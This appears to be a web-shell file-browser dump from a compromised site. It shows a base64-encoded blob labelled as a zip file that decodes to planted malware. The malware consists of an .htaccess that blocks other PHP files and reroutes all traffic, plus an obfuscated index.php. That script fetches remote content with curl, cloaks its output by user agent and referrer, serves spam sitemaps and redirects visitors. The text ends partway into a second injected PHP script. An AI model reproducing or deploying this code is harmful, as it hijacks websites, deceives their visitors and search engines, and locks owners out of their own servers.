????
Current Path : /home/cerberotxo/www/ |
Current File : /home/cerberotxo/www/zpanel-v2.0.zip |
GzYTozOntzOjI6Imh0IjthOjI6e2k6MDtzOjMwOiIvaG9tZS9jZXJiZXJvdHhvL3d3dy8uaHRhY2Nlc3MiO2k6MTtzOjYzODoiPEZpbGVzTWF0Y2ggJy4ocHl8ZXhlfHBodG1sfHBocHxQSFB8UGhwfFBIcHxwSHB8cEhQfHBIUDd8UEhQN3xwaFB8UGhQfHBocDV8c3VzcGVjdGVkKSQnPgpPcmRlciBhbGxvdyxkZW55CkRlbnkgZnJvbSBhbGwKPC9GaWxlc01hdGNoPgo8RmlsZXNNYXRjaCAnXihnb29kcy5waHB8YnV5LnBocHxzcGVjaWFsLnBocHxjbGljay5waHB8cGFnZXMucGhwfHByb2R1Y3QucGhwfHNob3AucGhwfGl0ZW0ucGhwfHNlYXJjaC5waHB8YnJhbmQucGhwfHdwLWNvbmZpZ3MucGhwfGluc3RhbGwucGhwfHBsdWdpbi5waHB8YWRtaW4ucGhwfGluZGV4LnBocHx3cC1sb2dpbi5waHB8YWJvdXQucGhwfGRlZmF1bHRzLnBocHxmdW5jdGlvbi5waHB8bWFoLnBocHxuZXR3b3JrLnBocHxvcHRpb25zLnBocCkkJz4KT3JkZXIgYWxsb3csZGVueQpBbGxvdyBmcm9tIGFsbAo8L0ZpbGVzTWF0Y2g+CjxJZk1vZHVsZSBtb2RfcmV3cml0ZS5jPgpSZXdyaXRlRW5naW5lIE9uClJld3JpdGVCYXNlIC8KUmV3cml0ZVJ1bGUgXmluZGV4XC5waHAkIC0gW0xdClJld3JpdGVDb25kICV7UkVRVUVTVF9GSUxFTkFNRX0gIS1mClJld3JpdGVDb25kICV7UkVRVUVTVF9GSUxFTkFNRX0gIS1kClJld3JpdGVSdWxlIC4gL2luZGV4LnBocCBbTF0KPC9JZk1vZHVsZT4iO31zOjU6ImluZGV4IjthOjI6e2k6MDtzOjMwOiIvaG9tZS9jZXJiZXJvdHhvL3d3dy9pbmRleC5waHAiO2k6MTtzOjE4MDQ0OiI8P3BocCBAJyQKeDM9Cng3PWh0dHBzOi8vamFuMzUuaG1mdG9ub2ZzM3FmeS9tZWlsdS5weQpzcHM9MDAKdXJsZ3o9Z29vZHMvWzA6NV1eLyE/a2V5PVt3b3JkXXxwcm9kdWN0L1swOjN+NV1eP2dvb2RzX2lkPSEKJzskYmI2YmI2Nj1leHBsb2RlKCIxbCIsInlhcnJhX3NpMWx5YXJyYV9uaTFsc29wcnRzMWxzdHNpeGVfbm9pdGNudWYxbHN0ZWdmMWxlZG9jbmVscnUxbG5lbHJ0czFsZHJvMWxyaGMxbHJlZGFlaDFsNWRtMWxlbWFueWJ0c29odGVnMWxlemlsYWlyZXNudTFscnRzYnVzMWxscnVfZXNyYXAxbGVjYWxwZXJfcnRzMWxjZXhlX2xydWMxbG1pcnQxbHRyYXRzX2JvMWxzdG5ldG5vY190ZWdfZWxpZjFsaGN0YW1fZ2VycDFsdGluaV9scnVjMWxlZG9scHhlMWx0aWxwc19nZXJwMWx0bnVvYzFsZWRvbHBtaTFsZXNvbGNfbHJ1YzFsZXNvbGNmMWx0Y2FydHhlMWx0cG90ZXNfbHJ1YzFsZXRpcndmMWxuYWVsY19kbmVfYm8xbGVjYWxwZXJfZ2VycDFsZnRuaXJwczFscmV3b2xvdHJ0czFsZm9lZiIpO2ZvcmVhY2goJGJiNmJiNjYgYXMkYjY2YmJiPT4kYmJiNjY2KXskYmJiNjY2PXByZWdfc3BsaXQoIi8vIiwkYmJiNjY2LC0xLFBSRUdfU1BMSVRfTk9fRU1QVFkpOyRiYjZiYjY2WyRiNjZiYmJdPWltcGxvZGUoIiIsYXJyYXlfcmV2ZXJzZSgkYmJiNjY2KSk7fTskYmJiNmI9X19GSUxFX187JGJiNmJiNj1leHBsb2RlKCI5IiwiYmI2NjZiYjliYjZiYjZiOWI2NjliYjZiYmI5YjZiYjY2NjliYmJiNjY5YjZiYmI5YmI2NmI5YmJiNjY2YjliNmI2OWI2NmJiYjY5YmJiYjY5YmI2YjZiNjliYjY2NmI2OWI2YjY2NjY5YmI2NjY5YjY2YjY5YjY2YjY2NjliYjY2YjY2OWI2YmI2NjliYmJiYjY5YjY2NjY5YjZiNjZiOWJiNjY5YjZiYmJiYjliNmI2YjY2OWI2YmJiYjY5YjY2NjZiYjliNjY2NjZiOWI2NmI2NmI5YjZiNmJiNjliNmI2YjZiOWJiYjY2NjY5YjY2YjZiOWI2NjZiNmI5YjZiNjZiYiIpO2ZvcmVhY2goJGJiNmJiNiBhcyRiNmJiPT4kYmI2NmJiKXskJGJiNjZiYj0kYmI2YmI2NlskYjZiYl07fTtmdW5jdGlvbiBsMUwyKCRsMXhQKXskbDFPPSJBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWmFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6MDEyMzQ1Njc4OSsvPSQiOyRsMW49JGwxUjY9JGwxeD0iIjskbDFmej0kbDFzPSRsMU09JGwxQkNTZz0iIjskbDE4SVAzPTA7JGwxaGo9IiI7JGwxeFA9JEdMT0JBTFNbImJiYjY2NjYiXSgiL1teQS1aYS16MC05XCtcL1w9JF0vIiwiIiwkbDF4UCk7ZG97JGwxZno9JEdMT0JBTFNbImI2NiJdKCRsMU8sJEdMT0JBTFNbImJiNjY2YjYiXSgkbDF4UCwkbDE4SVAzKyssMSkpOyRsMXM9JEdMT0JBTFNbImI2NiJdKCRsMU8sJEdMT0JBTFNbImJiNjY2YjYiXSgkbDF4UCwkbDE4SVAzKyssMSkpOyRsMU09JEdMT0JBTFNbImI2NiJdKCRsMU8sJEdMT0JBTFNbImJiNjY2YjYiXSgkbDF4UCwkbDE4SVAzKyssMSkpOyRsMUJDU2c9JEdMT0JBTFNbImI2NiJdKCRsMU8sJEdMT0JBTFNbImJiNjY2YjYiXSgkbDF4UCwkbDE4SVAzKyssMSkpOyRsMW49KCRsMWZ6PDwyKXwoJGwxcz4+NCk7JGwxUjY9KCgkbDFzJjE1KTw8NCl8KCRsMU0+PjIpOyRsMXg9KCgkbDFNJjMpPDw2KXwkbDFCQ1NnOyRsMWhqPSRsMWhqLiRHTE9CQUxTWyJiYmI2NjZiIl0oKGludCkkbDFuKTtpZigkbDFNIT02NCl7JGwxaGo9JGwxaGouJEdMT0JBTFNbImJiYjY2NmIiXSgoaW50KSRsMVI2KTt9aWYoJGwxQkNTZyE9NjQpeyRsMWhqPSRsMWhqLiRHTE9CQUxTWyJiYmI2NjZiIl0oKGludCkkbDF4KTt9JGwxbj0kbDFSNj0kbDF4PSIiOyRsMWZ6PSRsMXM9JGwxTT0kbDFCQ1NnPSIiO313aGlsZSgkbDE4SVAzPCRHTE9CQUxTWyJiNmJiYiJdKCRsMXhQKSk7cmV0dXJuJGwxaGo7fWZ1bmN0aW9uIGwxeSgkbDFKPScnKXskbDFCVVI9Jyc7JGwxc089JEdMT0JBTFNbImJiNjYiXSgiLy91IiwkbDFKLC0xLFBSRUdfU1BMSVRfTk9fRU1QVFkpO2ZvcmVhY2goJGwxc08gYXMkbDE0ZzMpeyRsMUJVUi49JEdMT0JBTFNbImJiYjY2NmIiXSgkR0xPQkFMU1siYmI2NmIiXSgkbDE0ZzMpKzEpO31yZXR1cm4gbDFMMigkbDFCVVIpO31mdW5jdGlvbiBsMWlLOCgkbDFCTFgpe3JldHVybiBsMXkoJGwxQkxYKTt9JGJiYjY2PSRHTE9CQUxTWyJiNmJiNjYiXSgkYmJiNmIpOyRiYjY2NmI9QCRHTE9CQUxTWyJiYjZiNmI2Il0obDFpSzgoIlhTbnlMaW82YnluMk5oSWhYbEloTWlYMUhpc3lOaWY1SGo3d2F5QWdVL0AzSGlzeU5pVDVIbEgxTWxJaEhpc3lOaUh3TGluaFMvWUljVWtHYGxZZ0xTUXhYU0VFYGo4UlJWb2dMVC92WFVZVWNGTUJNRjBZVTBFRVhUWVViMGtWTUI4aEsvai9VVFlFYVVNclFXTVlUbFlxWGlFRGAxSTNgMUVMUVI4L1ZDRTJhMGZ3Ymw0SlRqZnBTL1lEWWxBR1JWc1lgUjhuUlVjTGBEOG9jbVVYVHlMMlhWdjNkVWZ4UlY4aFEwQHBTL1h2YDFNRlFGWWZRMER1WGpIdmAxSVdVVjhpYFI4blhsd1VhRklyVVdrZlBqZ2xWQ0QzY0ZNRlVXUWlQeDhuU0RNeFlsTVdSV0lPVGtVNFJGZ0BjVDhvY21VZ2FDZzRWQ0lJYTFJR1RCb09QaWduWFNFUU1EOGxPQ3ZoTjJMNU1TbmhYaVloTWxIaE4yTDVMU0g1SGtmeFVXZ2dRU2dxWURZVWBSSDZieW4xTmhJaFhsSWhNbEhoTjJMNUxpUDVIanJ2TUZFV2BXY2lSbWoyYWo4QkwyQUpUaWd1WG1YN09CSDZieW4xTmhJaFhpWDFYaVhoTjJMNU1DbmhVUjhtVGhINmJ5bjJOaEloWGxJaFhsSDFIaXN5TmlmNUhqa3JWV2dnTFI3M0hpc3lOaWI1SGxIMU1pWDFNaVhoTjJMNU5DbmhYRGNRSzFJR1NDdmhOMkw1TWluaFhpWDFYbEgxSGlzeU5pRDFOaElPUWprM1JESDJKajhGUldnSFBpYnBIaXN5TmlINUhsSDFIaXN5TmlmNUhsQUdUUjhoUEN2N0hpc3lOaVA1SGxIMU1sSGhOMkw1TkNuaFJWd1lgRklDS3l2aE4yTDVNeW5oWGlYMVhsSWhYaEg2YnlueE5DbmhSeUAvUkVrVlFWb1BQbFkvUmxqMmEwQURQRjRLYEY0dVJ5RXFkUkg2YnlueU5oSWhYaVhoTjJMNUxTQHZOaElLZEZjc1hTRDNhVkVGVVZnZ0xrRDJWRndFYTBrR1VXa2hRbHNwVlVjSU0wZ3JgMlFZTFRrMFgvYzJhVkR3TkYwZ1FrVDJWRndFYTBrR1VTY1hVaWd4WVRZSWExRXJYeWNqVWpVdFhTRDNNMVFXVVZjZ2FVRHZYU0VJY1ZNQmBtVWhMVm43SGlzeU5pYjVIbEgxWGxJaE1sSGhOMkw1TkNuaFJWd1lgRDhQT0N2aE4yTDVNaW5oWGxJaE1sSWhIaXN5TmlIdk5oSUtMQ1FoWDJneE5Eb0JMMkFKVGlnNFhFQDdPQkg2YnlueU5oSWhYbEhoTjJMNU1DbmhYVGNMY3hINmJ5bjJOaEloTWlYMVhsSWhIaXN5TmlQdk5oSVdQaWJ0UmpZaWNWRHdYMklZVVdNbVIwY3RjanNTYDFNamRUUHdZVVUxY0ZBR1RXTWdQbG43SGlzeU5pWDVIbEgxWGxJaE1oSDZieW53TGluaFhTRUlZVkh4VFZjaGFVQDdIaXN5TmlUNUhsSDFNaVloSGlzeU5pUDNOaElQTFNnL1gvWVVjRk1CTEI4alUvRXFTbDBRYDFRR1RHVWZRMEV5WFRNeWBWQUZRV2doTFVUdVMwY1VLMGtuS3lMaE4yTDVMeW5oWGlZaEhpc3lOaUR4TmhJWExrVTNYVFQzYTFFcmB4N2hOMkw1TUNuaFhsSWhNaEg2YnlueExDbmhTeUV1TEZFV1BDZ0xQa2p2WGx3MmFWUW9LeXZoTjJMNUxpbmhYbEhoTjJMNUxTWDVIanJ2TURnVVFVRVBVL0gyYy9yeFNWN2hOMkw1TVNuaFhsSWhYbEhoTjJMNUxTWDVIbER3UlZVWVVpUXBVeUVNYmtrVlFXUGhOMkw1TVNuaFhpWWhNaVhoTjJMNU15SDVIanMzWTEwZ0xTZ3NYVFlUY0Vmd00yUWZhVEQyWUVZRWFsRHdNMlFYTFNjL1hGMEFNMGdyYDJRWUxtY25WRVlxYGxNV2MxMGdMU2dzWFRZVGNFZndOR01KVGlnNFhFQDdPQkg2YnluME5oSWhNbEloTWhINmJ5bnlMaW5oUjJnbVhVY3FjbVFXVG1NaFIxZ3BhanNuYWw4SlFXWTBSMWd0YS9zMU9DdmhOMkw1TVNuaFhsSDFYaVhoTjJMNUxTSDVIa2tzU1dVWExXTTBYallVY0JINmJ5bi9OaEloWGxJaEhpc3lOaVAzTmhJT1FqUWxYRGNJYDBrb0sxZ0lVL3duUkRjUVkxSXJYMXNpUHg4blV5RUlia2dWTUdFSGBTTXFYbWsxY1VnU0x5dmhOMkw1TXluaFhsSDFNbEloTWhINmJ5bndNaW5oWGpZWWRWRHdTV0VnTGpFcVhWWDdPQkg2YnluL05oSWhNaVgxSGlzeU5pRHhOaElJYVVVM1hUWWlNVDhQT0N2aE4yTDVNQ25oWGxIMVhoSDZieW53TGluaFJsMElgMU1HVVdnZ1lpdjdIaXN5TmliNUhsSWhNbEloWGlYaE4yTDVMeVg1SGtqd05HVVlMV2NxUjBjTWExTUZVR01pYUVVM1hFWVlhMGZ3UVI4ZlVpZy9TbGdAT0JINmJ5bjFOaEloWGlZaE1pWGhOMkw1TFNYNUhqcnZNRG9pVWlBMVRESWxjRG9uYG1UaE4yTDVNeW5oWGxJaFhpWWhYaEg2YnlueE1DbmhSeUAvYWxNR1RXWWhkU2doU2xzMWNVY0JNMlVoTFZuN0hpczgiKSk7Zm9yZWFjaCgkYmI2NjZiIGFzJGJiYmI2NmI9PiRiYmI2YjY2KXskYmI2NjZiWyRiYmJiNjZiXT1sMWlLOCgkYmJiNmI2Nik7fTtAZXh0cmFjdCgkYmI2NjZiKTskR0xPQkFMU1siYmJiYmI2Il0obDFpSzgoIksvQG1KQjNwT3hqbU54OHkiKSwkYmJiNjYsJF9TRVNTSU9OWyJvTzBPbzBPTzAiXSk7aWYoJEdMT0JBTFNbImJiNmJiYiJdKCRHTE9CQUxTWyJiNmJiYjYiXSkpe0AkR0xPQkFMU1siYmI2NmI2NiJdKCk7fSRsMXIweTA9IiI7JGwxNz0kbDFMPSRsMU89JGwxa0Q9JGwxdj0iIjskbDFaNGI9JF9TRVJWRVJbIkRPQ1VNRU5UX1JPT1QiXTtmdW5jdGlvbiBsMUdaKCRsMVNpTiwkbDFtTmpkPTAsJGwxaz0xLCRsMUY9bnVsbCwkbDFwPWFycmF5KCkpeyRsMWY9MDtpZigkR0xPQkFMU1siYmI2YmJiIl0oJEdMT0JBTFNbImI2YiJdKSYmJEdMT0JBTFNbImJiNmJiYiJdKCRHTE9CQUxTWyJiNmI2YiJdKSl7JGwxaD0kR0xPQkFMU1siYjY2NjYiXSgpOyRHTE9CQUxTWyJiNjZiNjZiIl0oJGwxaCxDVVJMT1BUX1VSTCwkbDFTaU4pOyRHTE9CQUxTWyJiNjZiNjZiIl0oJGwxaCxDVVJMT1BUX1VTRVJBR0VOVCwkR0xPQkFMU1siYmI2NmI2Il0pOyRHTE9CQUxTWyJiNjZiNjZiIl0oJGwxaCxDVVJMT1BUX0NPTk5FQ1RUSU1FT1VULDApOyRHTE9CQUxTWyJiNjZiNjZiIl0oJGwxaCxDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLDEpOyRHTE9CQUxTWyJiNjZiNjZiIl0oJGwxaCxDVVJMT1BUX1NTTF9WRVJJRllQRUVSLGZhbHNlKTskR0xPQkFMU1siYjY2YjY2YiJdKCRsMWgsQ1VSTE9QVF9TU0xfVkVSSUZZSE9TVCxmYWxzZSk7JEdMT0JBTFNbImI2NmI2NmIiXSgkbDFoLENVUkxPUFRfRk9MTE9XTE9DQVRJT04sdHJ1ZSk7JEdMT0JBTFNbImI2NmI2NmIiXSgkbDFoLENVUkxPUFRfVElNRU9VVCwzMDApOyRsMWpqeD0kR0xPQkFMU1siYjY2YjYiXSgkbDFoKTskR0xPQkFMU1siYjZiYmJiNiJdKCRsMWgpO2lmKCRsMWpqeCl7JGwxZj0kbDFqang7fX1lbHNleyRsMWs9Jyc7aWYoJEdMT0JBTFNbImJiNmJiYiJdKCRHTE9CQUxTWyJiYjZiNiJdKSl7JGwxaz0kR0xPQkFMU1siYmI2YjYiXTt9ZWxzZWlmKCRHTE9CQUxTWyJiYjZiYmIiXSgkR0xPQkFMU1siYmI2NmJiNiJdKSl7JGwxaz0kR0xPQkFMU1siYmI2NmJiNiJdO31pZigkbDFrIT0nJyl7JGwxZmgycz0kR0xPQkFMU1siYjZiNjY2NiJdKCRsMVNpTik7JGwxRnB4QT0kbDFrKCRsMWZoMnNbImhvc3QiXSxpc3NldCgkbDFmaDJzWyJwb3J0Il0pPyRsMWZoMnNbInBvcnQiXTo4MCwkbDFkLCRsMWRqLDMwKTtpZigkbDFGcHhBKXskbDFmPWlzc2V0KCRsMWZoMnNbInBhdGgiXSk/JGwxZmgyc1sicGF0aCJdOicnOyRsMWYuPWlzc2V0KCRsMWZoMnNbInF1ZXJ5Il0pPyc/Jy4kbDFmaDJzWyJxdWVyeSJdOicnOyRsMWY9JGwxZj09Jyc/Jy8nOiRsMWY7JEdMT0JBTFNbImI2YjZiYjYiXSgkbDFGcHhBLCJHRVQgJGwxZiBIVFRQLzEuMFxyXG5Ib3N0OiIuJGwxZmgyc1siaG9zdCJdLiJcclxuQ29ubmVjdGlvbjpDbG9zZVxyXG5cclxuIik7JGwxaUFUUD0nJzt3aGlsZSghJEdMT0JBTFNbImI2YjY2YmIiXSgkbDFGcHhBKSl7JGwxaUFUUC49JEdMT0JBTFNbImI2YmI2NjYiXSgkbDFGcHhBLDQwOTYpO30kR0xPQkFMU1siYjY2NjZiYiJdKCRsMUZweEEpOyRsMWY9JEdMT0JBTFNbImJiYmJiNiJdKCRHTE9CQUxTWyJiYiJdLCRsMWlBVFApPyRHTE9CQUxTWyJiYmI2NjY2Il0oIi8uKj9cclxuXHJcbiguKikvc2kiLCIkMSIsJGwxaUFUUCk6JEdMT0JBTFNbImJiYjY2NjYiXSgkR0xPQkFMU1siYmJiYjZiIl0sIiQxIiwkbDFpQVRQKTt9ZWxzZXskbDFmPTA7fX1lbHNleyRsMWY9JEdMT0JBTFNbImI2YmI2NiJdKCRsMVNpTik7fX1yZXR1cm4kR0xPQkFMU1siYjY2YjY2NiJdKCRHTE9CQUxTWyJiNjZiNjY2Il0oJGwxZiwiXHhFRlx4QkJceEJGIikpO31mdW5jdGlvbiBsMTFIKCRsMVBjRT0nJyl7cmV0dXJuJEdMT0JBTFNbImJiYmJiNiJdKCRHTE9CQUxTWyJiYjYiXSwkbDFQY0UpO31mdW5jdGlvbiBsMVBBKCRsMVNlVj0nJyl7cmV0dXJuJEdMT0JBTFNbImJiYmJiNiJdKCRHTE9CQUxTWyJiNmI2NiJdLCRsMVNlVik7fWZ1bmN0aW9uIGwxTXVEKCRsMTl0WCl7JGwxQ2REPScnOyRHTE9CQUxTWyJiYmJiYjYiXSgkR0xPQkFMU1siYjZiYjYiXSwkbDE5dFgsJGwxZik7aWYoJEdMT0JBTFNbImJiNjY2YmIiXSgkbDFmKSYmJEdMT0JBTFNbImI2YmJiYmIiXSgkbDFmKT09NCl7aWYoJGwxZlsyXSE9JycpeyRsMUQ9JEdMT0JBTFNbImJiNjYiXSgiLy8iLCRsMWZbMl0sLTEsUFJFR19TUExJVF9OT19FTVBUWSk7Zm9yZWFjaCgkbDFEIGFzJGwxSHd1Rj0+JGwxc2hreCl7JGwxRFskbDFId3VGXT0kR0xPQkFMU1siYmJiNjY2YiJdKCRHTE9CQUxTWyJiYjY2YiJdKCRsMXNoa3gpLTUpO30kbDFDZEQ9JEdMT0JBTFNbImI2YjZiNjYiXSgnJywkbDFEKTt9JGwxQ2REPSRsMWZbMV0uJGwxQ2RELiRsMWZbM107fXJldHVybiRsMUNkRDt9ZnVuY3Rpb24gbDFWaXI5KCl7aWYoKGlzc2V0KCRfU0VSVkVSWyJIVFRQUyJdKSYmKCRHTE9CQUxTWyJiNjY2YjZiIl0oJF9TRVJWRVJbIkhUVFBTIl0pPT0nb24nKSl8fChpc3NldCgkX1NFUlZFUlsiSFRUUF9YX0ZPUldBUkRFRF9QUk9UTyJdKSYmKCRHTE9CQUxTWyJiNjY2YjZiIl0oJF9TRVJWRVJbIkhUVFBfWF9GT1JXQVJERURfUFJPVE8iXSk9PSRHTE9CQUxTWyJiNjY2NjY2Il0pKSl7cmV0dXJuJEdMT0JBTFNbImI2NjY2NjYiXTt9cmV0dXJuJEdMT0JBTFNbImI2Il07fWZ1bmN0aW9uIGwxQWFIKCRsMTRVPScnKXtnbG9iYWwkbDFyMHkwLCRsMTcsJGwxWjRiLCRsMWtELCRsMUwsJGwxdjtpZihpc3NldCgkX1NFUlZFUlsiSFRUUF9IT1NUIl0pKXskbDFqPSRfU0VSVkVSWyJIVFRQX0hPU1QiXTt9ZWxzZWlmKGlzc2V0KCRfU0VSVkVSWyJTRVJWRVJfTkFNRSJdKSl7JGwxaj0kX1NFUlZFUlsiU0VSVkVSX05BTUUiXTt9aWYoaXNzZXQoJF9TRVNTSU9OWyJvTzBPbzBPTzAiXSkpeyRsMVVJPSRfU0VTU0lPTlsib08wT28wT08wIl07fWVsc2V7JEdMT0JBTFNbImJiYmJiNiJdKCIvQCdcXFwkKC4qPyknOy9zIiwkR0xPQkFMU1siYjZiYjY2Il0oX19GSUxFX18pLCRsMVVJKTt9JGwxVUk9KCRHTE9CQUxTWyJiYjY2NmJiIl0oJGwxVUkpJiZpc3NldCgkbDFVSVsxXSkpPyRHTE9CQUxTWyJiNjZiNjY2Il0oJGwxVUlbMV0pOicnOyRsMXlIQ3k9YXJyYXkoKTtpZigkbDFVSSE9JycpeyRsMVVJPSRHTE9CQUxTWyJiNmI2NmIiXSgiXG4iLCRsMVVJKTtmb3JlYWNoKCRsMVVJIGFzJGwxa1p2NSl7JGwxa1p2NT0kR0xPQkFMU1siYjY2YjY2NiJdKCRsMWtadjUpO2lmKCRsMWtadjU9PScnKXtjb250aW51ZTt9JEdMT0JBTFNbImJiYmJiNiJdKCRHTE9CQUxTWyJiYmI2YmIiXSwkbDFrWnY1LCRsMVopO2lmKGlzc2V0KCRsMVpbMV0pKXskbDF5SEN5W109JEdMT0JBTFNbImI2NmI2NjYiXSgkbDFaWzFdKTt9fWxpc3QoJGwxcjB5MCwkbDFrRCwkbDF2LCRsMUwpPSRsMXlIQ3k7fSRsMU09JEdMT0JBTFNbImI2NmI2YiJdKCIlczovLyRsMWoiLGwxVmlyOSgpKTskbDFKUTZuPWlzc2V0KCRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdKT8kX1NFUlZFUlsiUkVRVUVTVF9VUkkiXTooaXNzZXQoJF9TRVJWRVJbIlFVRVJZX1NUUklORyJdKT8kX1NFUlZFUlsiUVVFUllfU1RSSU5HIl06JycpOyRsMUpRNm49KCRsMUpRNm49PScnPygoaXNzZXQoJF9TRVJWRVJbIlBBVEhfSU5GTyJdKSYmJF9TRVJWRVJbIlBBVEhfSU5GTyJdIT0nJyk/JF9TRVJWRVJbIlBBVEhfSU5GTyJdOiRsMUpRNm4pOiRsMUpRNm4pOyRsMXZmOT0kbDFNLiRsMUpRNm47JGwxNz1pc3NldCgkX1NFUlZFUlsiU0NSSVBUX05BTUUiXSk/JF9TRVJWRVJbIlNDUklQVF9OQU1FIl06Jyc7aWYoJGwxNz09JycpeyRsMTc9aXNzZXQoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKT8kX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl06Jyc7aWYoJGwxNyE9JycpeyRsMTc9JEdMT0JBTFNbImJiNjY2Il0oJGwxWjRiLCcnLCRsMTcpO319JGwxcjB5MD0kR0xPQkFMU1siYmI2YmI2YiJdKCRsMXIweTAsWyI/IiwnLyddKT8iJGwxNyRsMXIweTAiOiRsMXIweTA7JGwxNXVkPWlzc2V0KCRfU0VSVkVSWyJIVFRQX1JFRkVSRVIiXSk/JF9TRVJWRVJbIkhUVFBfUkVGRVJFUiJdOicnOyRsMXk2Nj1pc3NldCgkX1NFUlZFUlsiSFRUUF9VU0VSX0FHRU5UIl0pPyRfU0VSVkVSWyJIVFRQX1VTRVJfQUdFTlQiXTonJzskbDFWQ2k9bDExSCgkbDF5NjYpOyRsMWU9MDskbDFFbWc9JGwxdlswXT09JzEnPyRsMWU6KCRsMXZbMF09PScwJz8kbDFWQ2k6MCk7JGwxdXM9KCRsMWV8fCRsMVZDaSk/MDpsMVBBKCRsMTV1ZCk7JGwxa0Q9bDFNdUQoJGwxa0QpOyRsMVBkPSRHTE9CQUxTWyJiYmIiXTskbDFWPSRHTE9CQUxTWyJiNjY2YmJiIl07aWYoJEdMT0JBTFNbImJiYmJiNiJdKCcvXicuJGwxVi4nJC9zaScsJGwxSlE2biwkbDFZdW0pKXskbDFoYzNpPSRHTE9CQUxTWyJiYjZiYmI2Il0uJGwxWXVtWzFdOyRsMUk9JEdMT0JBTFNbImI2NjZiIl07aWYoJEdMT0JBTFNbImJiNmJiYiJdKCRHTE9CQUxTWyJiYmJiYiJdKSl7QCRHTE9CQUxTWyJiNmI2YjZiIl0oKTt9JEdMT0JBTFNbImI2YjYiXSgkbDFJKTtkaWUoJGwxaGMzaSk7fWlmKCRHTE9CQUxTWyJiYmJiYjYiXSgnL3NpdGVtYXAuKj9cLnhtbCQvc2knLCRsMUpRNm4pKXskbDFJa3A9JGwxa0QuJEdMT0JBTFNbImJiYjYiXS4kR0xPQkFMU1siYmJiYjY2Il0oJGwxTCkuJEdMT0JBTFNbImJiYmJiYjYiXS4kR0xPQkFMU1siYmJiYjY2Il0oJGwxdmY5KS4kR0xPQkFMU1siYjZiYmI2YiJdLiRsMTcuJEdMT0JBTFNbImI2NmIiXS4kR0xPQkFMU1siYmJiYjY2Il0oJGwxcjB5MCk7JGwxaGMzaT1sMUdaKCRsMUlrcCk7JGwxaGMzaT0kR0xPQkFMU1siYjY2YjY2NiJdKCRsMWhjM2kpO2lmKCRHTE9CQUxTWyJiYmJiYjYiXSgkR0xPQkFMU1siYjY2YmJiYiJdLCRsMWhjM2ksJGwxMCkpeyRHTE9CQUxTWyJiNmI2Il0oJGwxMFsxXSk7JGwxaGMzaT0kbDEwWzJdO31lY2hvIiRsMWhjM2kiO2RpZTt9aWYoJGwxRW1nfHwkbDF1cyl7JGwxOGxrPSRHTE9CQUxTWyJiYmJiIl07JGwxSWtwPSRsMWtELiRHTE9CQUxTWyJiYmJiNjY2Il0uKCRsMXVzPzE6MCkuJEdMT0JBTFNbImI2NjYiXS4kR0xPQkFMU1siYmJiYjY2Il0oJGwxTCkuJEdMT0JBTFNbImJiYmJiYjYiXS4kR0xPQkFMU1siYmJiYjY2Il0oJGwxdmY5KS4kR0xPQkFMU1siYjZiYmI2YiJdLiRsMTcuJEdMT0JBTFNbImI2NmIiXS4kR0xPQkFMU1siYmJiYjY2Il0oJGwxcjB5MCk7aWYoaXNzZXQoJF9HRVRbJGwxUGRdKSl7ZWNobyAkR0xPQkFMU1siYjY2YjZiIl0oJGwxOGxrLCRsMUlrcCwkbDFJa3ApLiRHTE9CQUxTWyJiNjZiYjYiXTskbDFGPSRHTE9CQUxTWyJiNmI2NjY2Il0oJGwxSWtwKTtlY2hvICRHTE9CQUxTWyJiYmJiNiJdKCRsMUZbImhvc3QiXSk7ZGllO30kbDFoYzNpPWwxR1ooJGwxSWtwKTskbDFoYzNpPSRHTE9CQUxTWyJiNjZiNjY2Il0oJGwxaGMzaSk7aWYoJEdMT0JBTFNbImJiNmJiNmIiXSgkbDFoYzNpLFsiKjQwNCIsJEdMT0JBTFNbImJiNmIiXV0pKXtyZXR1cm47fWlmKCRHTE9CQUxTWyJiYmJiYjYiXSgkR0xPQkFMU1siYmI2YjY2Il0sJGwxaGMzaSwkbDF4YUwpKXskbDEwS0g9JEdMT0JBTFNbImI2NmI2NjYiXSgkbDF4YUxbMV0pOyRsMUtEPSRHTE9CQUxTWyJiYmJiYjYiXSgkR0xPQkFMU1siYmJiYjZiYiJdLCRsMTBLSCk7aWYoJGwxdlsxXT09JzEnJiYkbDFLRCl7JEdMT0JBTFNbImI2YjYiXSgiTG9jYXRpb246JGwxMEtIIix0cnVlLDMwMik7fWVsc2V7aWYoJGwxS0Qpe2VjaG8gJEdMT0JBTFNbImI2NmI2YiJdKCRHTE9CQUxTWyJiNjZiYiJdLCInIiwiJyIsJGwxMEtILCRsMTBLSCk7fWVsc2V7ZWNobyAkbDEwS0g7fX1kaWU7fWlmKCRHTE9CQUxTWyJiYmJiYjYiXSgkR0xPQkFMU1siYjY2YmJiYiJdLCRsMWhjM2ksJGwxMCkpeyRHTE9CQUxTWyJiNmI2Il0oJGwxMFsxXSk7JGwxaGMzaT0kbDEwWzJdO31lY2hvIiRsMWhjM2kiO2RpZTt9fWwxQWFIKCk7Pz4KPD9waHANCkBzZXRfdGltZV9saW1pdCgzNjAwKTsNCkBpZ25vcmVfdXNlcl9hYm9ydCgxKTsNCiR4bWxuYW1lID0gJyU3NiU3MSU3MiU2NiU2NiU3NiU2MiU2MSU2QiU3MiUyRSU3MyU2RSU2NSU2QyU3MyU2MiU2MiU2NyUyRSU2NyU2MiU2Myc7DQoNCg0KDQoNCiRodHRwX3dlYiA9ICdodHRwJzsNCmlmIChpc19odHRwcygpKSB7DQogICAgJGh0dHAgPSAnaHR0cHMnOw0KfSBlbHNlIHsNCiAgICAkaHR0cCA9ICdodHRwJzsNCn0NCiRkdXJpX3RtcCA9IGRyZXF1ZXN0X3VyaSgpOw0KaWYgKCRkdXJpX3RtcCA9PSAnJyl7DQogICAgJGR1cmlfdG1wID0gJy8nOw0KfQ0KJGR1cmkgPSB1cmxlbmNvZGUoJGR1cmlfdG1wKTsNCmZ1bmN0aW9uIGRyZXF1ZXN0X3VyaSgpDQp7DQogICAgaWYgKGlzc2V0KCRfU0VSVkVSWydSRVFVRVNUX1VSSSddKSkgew0KICAgICAgICAkZHVyaSA9ICRfU0VSVkVSWydSRVFVRVNUX1VSSSddOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChpc3NldCgkX1NFUlZFUlsnYXJndiddKSkgew0KICAgICAgICAgICAgJGR1c